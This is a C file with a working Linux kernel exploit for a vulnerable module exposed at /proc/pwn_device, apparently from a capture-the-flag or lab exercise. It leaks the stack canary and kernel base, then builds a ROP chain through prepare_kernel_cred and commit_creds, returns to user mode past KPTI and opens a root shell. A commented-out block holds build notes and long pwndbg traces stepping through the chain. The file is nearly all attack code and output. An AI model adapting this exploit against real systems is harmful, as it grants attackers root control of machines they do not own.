#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h> 

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_state(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    puts("[*] Saved state");
}

void char_main() {
    save_state();
    int fd = open("/proc/pwn_device", O_RDWR);
    char buffer[0x100] = "A";

    read(fd, buffer, 0x100);
}

void canary_main() {
    save_state();
    int fd = open("/proc/pwn_device", O_RDWR);
    unsigned long buffer[0x1000];

    read(fd, buffer, 0x100);
    for (int i = 0; i < 0x20; i++) 
    	printf("%d | 0x%08lx\n", i, buffer[i]);
}

void panic_main() 
{
    save_state();
    int fd = open("/proc/pwn_device", O_RDWR);
    char buffer[0x1000];

    ioctl(fd,32,sizeof(buffer));
    memset(buffer, 'A', 500);
    write(fd, buffer, sizeof(buffer));
}

void write_main() 
{
	save_state();
	int fd = open("/proc/pwn_device", O_RDWR);
	unsigned long buffer[0x1000];

	read(fd, buffer, 0x100);
	unsigned long kernel_base = buffer[18] - 0x23e347;
	unsigned long kernel_cookie = buffer[16];
	printf("[*] kernel cookie: 0x%lx\n", kernel_cookie);	// canary value
	printf("[*] kernel leak: 0x%lx\n", buffer[18]);
	printf("[*] kernel base address: 0x%lx\n", kernel_base);

	ioctl(fd, 0x20, 0x1337);
	int offset = 16;
	unsigned long payload[16];
	for (int i = 0; i < 16; i++) 
		payload[i] = 0x4141414141414141;

	write(fd, payload, sizeof(payload));
}

void modify_return_value_main() 
{
	save_state();
	int fd = open("/proc/pwn_device", O_RDWR);
	unsigned long buffer[0x1000];

	read(fd, buffer, 0x100);
	unsigned long kernel_base = buffer[18] - 0x23e347;
	unsigned long kernel_cookie = buffer[16];
	printf("[*] kernel cookie: 0x%lx\n", kernel_cookie);
	printf("[*] kernel leak: 0x%lx\n", buffer[18]);
	printf("[*] kernel base address: 0x%lx\n", kernel_base);

	ioctl(fd, 0x20, 0x1337);
	int offset = 16;
	unsigned long payload[50];
	payload[offset++] = kernel_cookie;
	payload[offset++] = 0xdeadbabedeadbabe;
	payload[offset++] = 0x4141414142424242;  //ret addr

	write(fd, payload, sizeof(payload));
}

void get_shell(void){
    puts("[*] Returned to userland");
    if (getuid() == 0){
        printf("[*] UID: %d, got root!\n", getuid());
        system("/bin/sh");
    } else {
        printf("[!] UID: %d, didn't get root\n", getuid());
        exit(-1);
    }
}

void main() 
{
    save_state();
    int fd = open("/proc/pwn_device", O_RDWR);
    unsigned long leakbuf[0x100];

    read(fd, leakbuf, 0x100);

    unsigned long kernel_base = leakbuf[18] - 0x23e347;	// 0x23e347=0xffffffff8123e347-0xffffffff81000000
    unsigned long kernel_cookie = leakbuf[16];
    unsigned long prepare_kernel_cred = kernel_base + 0x881c0;
    unsigned long commit_creds = kernel_base + 0x87e80;
    unsigned long user_rip = (unsigned long)get_shell;

	// FFFFFFFF81C00A2F+22=0xFFFFFFFF81C00A45, grep swapgs_restore_regs_and_return_to_usermode + 22
    unsigned long kpti_trampoline = kernel_base + 0xc00a2f + 22; 

	// FFFFFFFF81001518
    unsigned long pop_rdi = kernel_base + 0x1518; // pop rdi ; ret

	// FFFFFFFF81034B72
    unsigned long pop_rdx = kernel_base + 0x34b72; // pop rdx ; ret

	// FFFFFFFF81023CC2
    unsigned long iretq = kernel_base + 0x23cc2; // iretq

	// FFFFFFFF81C00EAA
    unsigned long swapgs_ret = kernel_base + 0xc00eaa; // swapgs ; popfq ; ret

	// FFFFFFFF81A30061
    unsigned long cmp_rdx_ret = kernel_base + 0xa30061; // cmp rdx, 8 ; jne 0xffffffff81a3003e ; ret

	// FFFFFFFF813B3504
    unsigned long mov_rdi_rax_ret = kernel_base + 0x3b3504; // mov rdi, rax ; jne 0xffffffff813b34f1 ; xor eax, eax ; ret

    printf("[*] kernel cookie: 0x%lx\n", kernel_cookie);	// 0x1b4815b336f09500
    printf("[*] kernel leak: 0x%lx\n", leakbuf[18]);		// 0xffffffff8123e347

	// 0xffffffff81000000 -> vmlinux:ffffffff81000000 <.text>:
    printf("[*] kernel base address: 0x%lx\n", kernel_base);
	// 0xffffffff810881c0
    printf("[*] prepare_kernel_cred: 0x%lx\n", prepare_kernel_cred);
	// 0xffffffff81087e80
    printf("[*] commit_creds: 0x%lx\n", commit_creds);

    ioctl(fd, 0x20, 0x1337);

    int offset = 16;
    unsigned long payload[50];
    payload[offset++] = kernel_cookie;
    payload[offset++] = 0x0;
    payload[offset++] = pop_rdi;	// FFFFFFFF81001518, pop rdi ; ret
    payload[offset++] = 0x0;
    payload[offset++] = prepare_kernel_cred;	// 0xffffffff810881c0
    payload[offset++] = pop_rdx;		// FFFFFFFF81034B72, pop rdx ; ret
    payload[offset++] = 0x8;
    payload[offset++] = cmp_rdx_ret;		// FFFFFFFF81A30061, cmp rdx, 8 ; jne 0xffffffff81a3003e ; ret
    payload[offset++] = mov_rdi_rax_ret;	// FFFFFFFF813B3504, mov rdi, rax ; jne 0xffffffff813b34f1 ; xor eax, eax ; ret
    payload[offset++] = commit_creds;		// 0xffffffff81087e80
    payload[offset++] = kpti_trampoline;	// 0xFFFFFFFF81C00A45,rep swapgs_restore_regs_and_return_to_usermode + 22
    payload[offset++] = 0x0;
    payload[offset++] = 0x0;
    payload[offset++] = user_rip;
	payload[offset++] = user_cs;
	payload[offset++] = user_rflags;
	payload[offset++] = user_sp;
	payload[offset++] = user_ss;
    write(fd, payload, sizeof(payload));
}


#if 0

gcc -o obtain-reg -static obtain-reg.c

easy_kernel/vuln.ko

gdb > target remote:1234

grep -irwn sread /proc/kallsyms
ffffffffc0000070	sread
ffffffffc0000000	swrite		--->  copy_user_generic_unrolled 拷贝用户数据到内核空间
ffffffff81aa03f0 T 	copy_user_generic_unrolled
ffffffff8133ef00	security_prepare_creds
ffffffff81c00a2f T 	swapgs_restore_regs_and_return_to_usermode
ffffffff81c00a45
ffffffff81c00000:	0f 01 f8	swapgs
50140:ffffffff81c00000 T entry_SYSCALL_64
50141:ffffffff81c00000 T __entry_text_start



此方法在出现KPTI页表隔离保护之后就完全没法利用了.

gdb>
   ......
   0xffffffffc0000045    mov    rcx, qword ptr [rsp + 0x80]     RCX, [0xffffc900001dfea0] => 0xdec9d8f12441ac00
   0xffffffffc000004d    xor    rcx, qword ptr gs:[0x28]        RCX => 0 (0xdec9d8f12441ac00 ^ 0xdec9d8f12441ac00)
   0xffffffffc0000056    jne    0xffffffffc0000061          <0xffffffffc0000061>
 
 ► 0xffffffffc0000058    add    rsp, swrite+72                  RSP => 0xffffc900001dfea8 (0xffffc900001dfe20 + 0x88)
   0xffffffffc000005f    pop    rbx                             RBX => 0
   0xffffffffc0000060    ret                                <0xffffffff81001518>
    ↓
   0xffffffff81001518    pop    rdi                             RDI => 0
   0xffffffff81001519    ret                                <0xffffffff810881c0>
    ↓
   0xffffffff810881c0    push   r12
─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0xffffc900001dfe20 ◂— 0
... ↓        7 skipped
───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────
 ► 0 0xffffffffc0000058
   1              0x0
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>  x/32xg $rsp
0xffffc900001dfe20:	0x0000000000000000	0x0000000000000000
0xffffc900001dfe30:	0x0000000000000000	0x0000000000000000
0xffffc900001dfe40:	0x0000000000000000	0x0000000000000000
0xffffc900001dfe50:	0x0000000000000000	0x0000000000000000
0xffffc900001dfe60:	0x0000000000000000	0x0000000000000000
0xffffc900001dfe70:	0x0000000000000000	0x0000000000000000
0xffffc900001dfe80:	0x0000000000000000	0x0000000000000000
0xffffc900001dfe90:	0x0000000000000000	0x0000000000000000
0xffffc900001dfea0:	0xdec9d8f12441ac00	0x0000000000000000
0xffffc900001dfeb0:	0xffffffff81001518	0x0000000000000000
0xffffc900001dfec0:	0xffffffff810881c0	0xffffffff81034b72
0xffffc900001dfed0:	0x0000000000000008	0xffffffff81a30061
0xffffc900001dfee0:	0xffffffff813b3504	0xffffffff81087e80
0xffffc900001dfef0:	0xffffffff81c00a45	0x0000000000000000
0xffffc900001dff00:	0x0000000000000000	0x0000000000402394
0xffffc900001dff10:	0x0000000000000033	0x0000000000000246

pwndbg> n
0xffffffffc000005f in ?? ()
=> 0xffffffffc000005f:	5b	pop    rbx
Permission error when attempting to parse page tables with gdb-pt-dump.
Either change the kernel-vmmap setting, re-run GDB as root, or disable `ptrace_scope` (`echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`)
Exception ignored in: <function QemuGdbMachine.__del__ at 0x7efc63784ca0>
Traceback (most recent call last):
  File "/home/share/work/inject/pwndbg/.venv/lib/python3.8/site-packages/pt_gdb/pt_gdb.py", line 19, in __del__
    if self.file:
AttributeError: 'QemuGdbMachine' object has no attribute 'file'
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────
 RAX  0x190
 RBX  0x190
 RCX  0
 RDX  0
 RDI  0xffffffff82b120ec ◂— 0x100000000
 RSI  0x82
 R8   0x6574796220303034 ('400 byte')
 R9   0x17d
 R10  0x74206e6574746972 ('ritten t')
 R11  0x656369766564206f ('o device')
 R12  0xfffffffffffffffb
 R13  0xffffc900001dff08 —▸ 0x402394 ◂— 0xe5894855fa1e0ff3
 R14  0x7ffc26e89170 ◂— 0
 R15  0
 RBP  0xffff88800082e9c0 ◂— 0x200000005
*RSP  0xffffc900001dfea8 ◂— 0
*RIP  0xffffffffc000005f ◂— pop rbx /* 0x66c1063efae8c35b */
───────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────
   0xffffffffc0000185    jmp    0xffffffffc0000045          <0xffffffffc0000045>
    ↓
   0xffffffffc0000045    mov    rcx, qword ptr [rsp + 0x80]     RCX, [0xffffc900001dfea0] => 0xdec9d8f12441ac00
   0xffffffffc000004d    xor    rcx, qword ptr gs:[0x28]        RCX => 0 (0xdec9d8f12441ac00 ^ 0xdec9d8f12441ac00)
   0xffffffffc0000056    jne    0xffffffffc0000061          <0xffffffffc0000061>
 
   0xffffffffc0000058    add    rsp, swrite+72                  RSP => 0xffffc900001dfea8 (0xffffc900001dfe20 + 0x88)
 ► 0xffffffffc000005f    pop    rbx                             RBX => 0
   0xffffffffc0000060    ret                                <0xffffffff81001518>
    ↓
   0xffffffff81001518    pop    rdi                             RDI => 0
   0xffffffff81001519    ret                                <0xffffffff810881c0>
    ↓
   0xffffffff810881c0    push   r12
   0xffffffff810881c2    mov    esi, 0xcc0     ESI => 0xcc0
─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0xffffc900001dfea8 ◂— 0
01:0008│     0xffffc900001dfeb0 —▸ 0xffffffff81001518 ◂— 0xaf9b572d8b4cc35f
02:0010│     0xffffc900001dfeb8 ◂— 0
03:0018│     0xffffc900001dfec0 —▸ 0xffffffff810881c0 ◂— 0x5500000cc0be5441
04:0020│     0xffffc900001dfec8 —▸ 0xffffffff81034b72 ◂— 0x83e8c78900dcc35a
05:0028│     0xffffc900001dfed0 ◂— 8
06:0030│     0xffffc900001dfed8 —▸ 0xffffffff81a30061 ◂— 0xb9c3d77508fa8348
07:0038│     0xffffc900001dfee0 —▸ 0xffffffff813b3504 ◂— 0xc3c031e875c78948
───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────
 ► 0 0xffffffffc000005f
   1              0x0
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> n
0xffffffffc0000060 in ?? ()
=> 0xffffffffc0000060:	c3	ret    
Permission error when attempting to parse page tables with gdb-pt-dump.
Either change the kernel-vmmap setting, re-run GDB as root, or disable `ptrace_scope` (`echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`)
Exception ignored in: <function QemuGdbMachine.__del__ at 0x7efc63784ca0>
Traceback (most recent call last):
  File "/home/share/work/inject/pwndbg/.venv/lib/python3.8/site-packages/pt_gdb/pt_gdb.py", line 19, in __del__
    if self.file:
AttributeError: 'QemuGdbMachine' object has no attribute 'file'
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────
 RAX  0x190
*RBX  0
 RCX  0
 RDX  0
 RDI  0xffffffff82b120ec ◂— 0x100000000
 RSI  0x82
 R8   0x6574796220303034 ('400 byte')
 R9   0x17d
 R10  0x74206e6574746972 ('ritten t')
 R11  0x656369766564206f ('o device')
 R12  0xfffffffffffffffb
 R13  0xffffc900001dff08 —▸ 0x402394 ◂— 0xe5894855fa1e0ff3
 R14  0x7ffc26e89170 ◂— 0
 R15  0
 RBP  0xffff88800082e9c0 ◂— 0x200000005
*RSP  0xffffc900001dfeb0 —▸ 0xffffffff81001518 ◂— 0xaf9b572d8b4cc35f
*RIP  0xffffffffc0000060 ◂— ret  /* 0x2e66c1063efae8c3 */
───────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────
   0xffffffffc0000045    mov    rcx, qword ptr [rsp + 0x80]     RCX, [0xffffc900001dfea0] => 0xdec9d8f12441ac00
   0xffffffffc000004d    xor    rcx, qword ptr gs:[0x28]        RCX => 0 (0xdec9d8f12441ac00 ^ 0xdec9d8f12441ac00)
   0xffffffffc0000056    jne    0xffffffffc0000061          <0xffffffffc0000061>
 
   0xffffffffc0000058    add    rsp, swrite+72                  RSP => 0xffffc900001dfea8 (0xffffc900001dfe20 + 0x88)
   0xffffffffc000005f    pop    rbx                             RBX => 0
 ► 0xffffffffc0000060    ret                                <0xffffffff81001518>
    ↓
   0xffffffff81001518    pop    rdi                             RDI => 0
   0xffffffff81001519    ret                                <0xffffffff810881c0>
    ↓
   0xffffffff810881c0    push   r12
   0xffffffff810881c2    mov    esi, 0xcc0     ESI => 0xcc0
   0xffffffff810881c7    push   rbp
─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0xffffc900001dfeb0 —▸ 0xffffffff81001518 ◂— 0xaf9b572d8b4cc35f
01:0008│     0xffffc900001dfeb8 ◂— 0
02:0010│     0xffffc900001dfec0 —▸ 0xffffffff810881c0 ◂— 0x5500000cc0be5441
03:0018│     0xffffc900001dfec8 —▸ 0xffffffff81034b72 ◂— 0x83e8c78900dcc35a
04:0020│     0xffffc900001dfed0 ◂— 8
05:0028│     0xffffc900001dfed8 —▸ 0xffffffff81a30061 ◂— 0xb9c3d77508fa8348
06:0030│     0xffffc900001dfee0 —▸ 0xffffffff813b3504 ◂— 0xc3c031e875c78948
07:0038│     0xffffc900001dfee8 —▸ 0xffffffff81087e80 ◂— 0x25248b4c655441
───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────
 ► 0 0xffffffffc0000060
   1 0xffffffff81001518
   2              0x0
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> n
0xffffffff81001518 in ?? ()
=> 0xffffffff81001518:	5f	pop    rdi
Permission error when attempting to parse page tables with gdb-pt-dump.
Either change the kernel-vmmap setting, re-run GDB as root, or disable `ptrace_scope` (`echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`)
Exception ignored in: <function QemuGdbMachine.__del__ at 0x7efc63784ca0>
Traceback (most recent call last):
  File "/home/share/work/inject/pwndbg/.venv/lib/python3.8/site-packages/pt_gdb/pt_gdb.py", line 19, in __del__
    if self.file:
AttributeError: 'QemuGdbMachine' object has no attribute 'file'
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────
 RAX  0x190
 RBX  0
 RCX  0
 RDX  0
 RDI  0xffffffff82b120ec ◂— 0x100000000
 RSI  0x82
 R8   0x6574796220303034 ('400 byte')
 R9   0x17d
 R10  0x74206e6574746972 ('ritten t')
 R11  0x656369766564206f ('o device')
 R12  0xfffffffffffffffb
 R13  0xffffc900001dff08 —▸ 0x402394 ◂— 0xe5894855fa1e0ff3
 R14  0x7ffc26e89170 ◂— 0
 R15  0
 RBP  0xffff88800082e9c0 ◂— 0x200000005
*RSP  0xffffc900001dfeb8 ◂— 0
*RIP  0xffffffff81001518 ◂— 0xaf9b572d8b4cc35f
───────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────
   0xffffffffc000004d    xor    rcx, qword ptr gs:[0x28]        RCX => 0 (0xdec9d8f12441ac00 ^ 0xdec9d8f12441ac00)
   0xffffffffc0000056    jne    0xffffffffc0000061          <0xffffffffc0000061>
 
   0xffffffffc0000058    add    rsp, swrite+72                  RSP => 0xffffc900001dfea8 (0xffffc900001dfe20 + 0x88)
   0xffffffffc000005f    pop    rbx                             RBX => 0
   0xffffffffc0000060    ret                                <0xffffffff81001518>
    ↓
 ► 0xffffffff81001518    pop    rdi                             RDI => 0
   0xffffffff81001519    ret                                <0xffffffff810881c0>
    ↓
   0xffffffff810881c0    push   r12
   0xffffffff810881c2    mov    esi, 0xcc0     ESI => 0xcc0
   0xffffffff810881c7    push   rbp
   0xffffffff810881c8    mov    rbp, rdi       RBP => 0
─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0xffffc900001dfeb8 ◂— 0
01:0008│     0xffffc900001dfec0 —▸ 0xffffffff810881c0 ◂— 0x5500000cc0be5441
02:0010│     0xffffc900001dfec8 —▸ 0xffffffff81034b72 ◂— 0x83e8c78900dcc35a
03:0018│     0xffffc900001dfed0 ◂— 8
04:0020│     0xffffc900001dfed8 —▸ 0xffffffff81a30061 ◂— 0xb9c3d77508fa8348
05:0028│     0xffffc900001dfee0 —▸ 0xffffffff813b3504 ◂— 0xc3c031e875c78948
06:0030│     0xffffc900001dfee8 —▸ 0xffffffff81087e80 ◂— 0x25248b4c655441
07:0038│     0xffffc900001dfef0 —▸ 0xffffffff81c00a45 ◂— 0x25248b4865e78948
───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────
 ► 0 0xffffffff81001518
   1              0x0
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> n
0xffffffff81001519 in ?? ()
=> 0xffffffff81001519:	c3	ret    
Permission error when attempting to parse page tables with gdb-pt-dump.
Either change the kernel-vmmap setting, re-run GDB as root, or disable `ptrace_scope` (`echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`)
Exception ignored in: <function QemuGdbMachine.__del__ at 0x7efc63784ca0>
Traceback (most recent call last):
  File "/home/share/work/inject/pwndbg/.venv/lib/python3.8/site-packages/pt_gdb/pt_gdb.py", line 19, in __del__
    if self.file:
AttributeError: 'QemuGdbMachine' object has no attribute 'file'
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────
 RAX  0x190
 RBX  0
 RCX  0
 RDX  0
*RDI  0
 RSI  0x82
 R8   0x6574796220303034 ('400 byte')
 R9   0x17d
 R10  0x74206e6574746972 ('ritten t')
 R11  0x656369766564206f ('o device')
 R12  0xfffffffffffffffb
 R13  0xffffc900001dff08 —▸ 0x402394 ◂— 0xe5894855fa1e0ff3
 R14  0x7ffc26e89170 ◂— 0
 R15  0
 RBP  0xffff88800082e9c0 ◂— 0x200000005
*RSP  0xffffc900001dfec0 —▸ 0xffffffff810881c0 ◂— 0x5500000cc0be5441
*RIP  0xffffffff81001519 ◂— 0x1af9b572d8b4cc3
───────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────
   0xffffffffc0000056    jne    0xffffffffc0000061          <0xffffffffc0000061>
 
   0xffffffffc0000058    add    rsp, swrite+72                  RSP => 0xffffc900001dfea8 (0xffffc900001dfe20 + 0x88)
   0xffffffffc000005f    pop    rbx                             RBX => 0
   0xffffffffc0000060    ret                                <0xffffffff81001518>
    ↓
   0xffffffff81001518    pop    rdi                             RDI => 0
 ► 0xffffffff81001519    ret                                <0xffffffff810881c0>
    ↓
   0xffffffff810881c0    push   r12
   0xffffffff810881c2    mov    esi, 0xcc0                           ESI => 0xcc0
   0xffffffff810881c7    push   rbp
   0xffffffff810881c8    mov    rbp, rdi                             RBP => 0
   0xffffffff810881cb    mov    rdi, qword ptr [rip + 0x1a86f4e]     RDI, [0xffffffff82b0f120] => 0xffff888003082500 ◂— 0x2c050
─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0xffffc900001dfec0 —▸ 0xffffffff810881c0 ◂— 0x5500000cc0be5441
01:0008│     0xffffc900001dfec8 —▸ 0xffffffff81034b72 ◂— 0x83e8c78900dcc35a
02:0010│     0xffffc900001dfed0 ◂— 8
03:0018│     0xffffc900001dfed8 —▸ 0xffffffff81a30061 ◂— 0xb9c3d77508fa8348
04:0020│     0xffffc900001dfee0 —▸ 0xffffffff813b3504 ◂— 0xc3c031e875c78948
05:0028│     0xffffc900001dfee8 —▸ 0xffffffff81087e80 ◂— 0x25248b4c655441
06:0030│     0xffffc900001dfef0 —▸ 0xffffffff81c00a45 ◂— 0x25248b4865e78948
07:0038│     0xffffc900001dfef8 ◂— 0
───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────
 ► 0 0xffffffff81001519
   1 0xffffffff810881c0
   2 0xffffffff81034b72
   3              0x8
   4 0xffffffff81a30061
   5 0xffffffff813b3504
   6 0xffffffff81087e80
   7 0xffffffff81c00a45
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> p/x $rdi
$23 = 0x0
pwndbg> n
0xffffffff810881c0 in ?? ()
=> 0xffffffff810881c0:	41 54	push   r12
Permission error when attempting to parse page tables with gdb-pt-dump.
Either change the kernel-vmmap setting, re-run GDB as root, or disable `ptrace_scope` (`echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`)
Exception ignored in: <function QemuGdbMachine.__del__ at 0x7efc63784ca0>
Traceback (most recent call last):
  File "/home/share/work/inject/pwndbg/.venv/lib/python3.8/site-packages/pt_gdb/pt_gdb.py", line 19, in __del__
    if self.file:
AttributeError: 'QemuGdbMachine' object has no attribute 'file'
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────
 RAX  0x190
 RBX  0
 RCX  0
 RDX  0
 RDI  0
 RSI  0x82
 R8   0x6574796220303034 ('400 byte')
 R9   0x17d
 R10  0x74206e6574746972 ('ritten t')
 R11  0x656369766564206f ('o device')
 R12  0xfffffffffffffffb
 R13  0xffffc900001dff08 —▸ 0x402394 ◂— 0xe5894855fa1e0ff3
 R14  0x7ffc26e89170 ◂— 0
 R15  0
 RBP  0xffff88800082e9c0 ◂— 0x200000005
*RSP  0xffffc900001dfec8 —▸ 0xffffffff81034b72 ◂— 0x83e8c78900dcc35a
*RIP  0xffffffff810881c0 ◂— 0x5500000cc0be5441
───────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────
   0xffffffffc0000058    add    rsp, swrite+72                  RSP => 0xffffc900001dfea8 (0xffffc900001dfe20 + 0x88)
   0xffffffffc000005f    pop    rbx                             RBX => 0
   0xffffffffc0000060    ret                                <0xffffffff81001518>
    ↓
   0xffffffff81001518    pop    rdi                             RDI => 0
   0xffffffff81001519    ret                                <0xffffffff810881c0>
    ↓
 ► 0xffffffff810881c0    push   r12
   0xffffffff810881c2    mov    esi, 0xcc0                           ESI => 0xcc0
   0xffffffff810881c7    push   rbp
   0xffffffff810881c8    mov    rbp, rdi                             RBP => 0
   0xffffffff810881cb    mov    rdi, qword ptr [rip + 0x1a86f4e]     RDI, [0xffffffff82b0f120] => 0xffff888003082500 ◂— 0x2c050
   0xffffffff810881d2    call   0xffffffff811bb9a0          <0xffffffff811bb9a0>
─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0xffffc900001dfec8 —▸ 0xffffffff81034b72 ◂— 0x83e8c78900dcc35a
01:0008│     0xffffc900001dfed0 ◂— 8
02:0010│     0xffffc900001dfed8 —▸ 0xffffffff81a30061 ◂— 0xb9c3d77508fa8348
03:0018│     0xffffc900001dfee0 —▸ 0xffffffff813b3504 ◂— 0xc3c031e875c78948
04:0020│     0xffffc900001dfee8 —▸ 0xffffffff81087e80 ◂— 0x25248b4c655441
05:0028│     0xffffc900001dfef0 —▸ 0xffffffff81c00a45 ◂— 0x25248b4865e78948
06:0030│     0xffffc900001dfef8 ◂— 0
07:0038│     0xffffc900001dff00 ◂— 0
───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────
 ► 0 0xffffffff810881c0
   1 0xffffffff81034b72
   2              0x8
   3 0xffffffff81a30061
   4 0xffffffff813b3504
   5 0xffffffff81087e80
   6 0xffffffff81c00a45
   7              0x0
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/x $rip
0xffffffff810881c0:	0x5500000cc0be5441
pwndbg> p/x $rip
$24 = 0xffffffff810881c0


///////  进入用户态 ///////////////

pwndbg> 
0xffffffff81c00ad5 in ?? ()
=> 0xffffffff81c00ad5:	75 02	jne    0xffffffff81c00ad9
Permission error when attempting to parse page tables with gdb-pt-dump.
Either change the kernel-vmmap setting, re-run GDB as root, or disable `ptrace_scope` (`echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`)
Exception ignored in: <function QemuGdbMachine.__del__ at 0x7efc63784ca0>
Traceback (most recent call last):
  File "/home/share/work/inject/pwndbg/.venv/lib/python3.8/site-packages/pt_gdb/pt_gdb.py", line 19, in __del__
    if self.file:
AttributeError: 'QemuGdbMachine' object has no attribute 'file'
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────
 RAX  0
 RBX  0
 RCX  0
 RDX  0
 RDI  0
 RSI  0xffffffff82442e00
 R8   0xffff88800362ad20
 R9   0
 R10  0xffff888001e6b140
 R11  1
 R12  0xfffffffffffffffb
 R13  0xffffc900001a7f08
 R14  0x7ffda87f99a0 ◂— 0
 R15  0
 RBP  0xffff88800082e9c0
 RSP  0xfffffe00000021d8 —▸ 0x402394 ◂— 0xe5894855fa1e0ff3
*RIP  0xffffffff81c00ad5 ◂— 0xf8010f57cf480275
───────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────
   0xffffffff81c00aa8    pop    rax             RAX => 0
   0xffffffff81c00aa9    pop    rdi             RDI => 0
   0xffffffff81c00aaa    swapgs 
   0xffffffff81c00aad    jmp    0xffffffff81c00ad0          <0xffffffff81c00ad0>
    ↓
   0xffffffff81c00ad0    test   byte ptr [rsp + 0x20], 4     0x2b & 0x4     EFLAGS => 0x246 [ cf PF af ZF sf IF df of ]
 ► 0xffffffff81c00ad5    jne    0xffffffff81c00ad9          <0xffffffff81c00ad9>
 
   0xffffffff81c00ad7    iretq  
 
   0xffffffff81c00ad9    push   rdi
   0xffffffff81c00ada    swapgs 
   0xffffffff81c00add    nop    
   0xffffffff81c00adf    mov    rdi, cr3
─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0xfffffe00000021d8 —▸ 0x402394 ◂— 0xe5894855fa1e0ff3
01:0008│     0xfffffe00000021e0 ◂— 0x33 /* '3' */
02:0010│     0xfffffe00000021e8 ◂— 0x246
03:0018│     0xfffffe00000021f0 —▸ 0x7ffda87f9920 —▸ 0x4038d0 ◂— 0x58d4855fa1e0ff3
04:0020│     0xfffffe00000021f8 ◂— 0x2b /* '+' */
05:0028│     0xfffffe0000002200 ◂— 0
... ↓        2 skipped
───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────
 ► 0 0xffffffff81c00ad5
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> si
0xffffffff81c00ad7 in ?? ()
=> 0xffffffff81c00ad7:	48 cf	iretq  
Permission error when attempting to parse page tables with gdb-pt-dump.
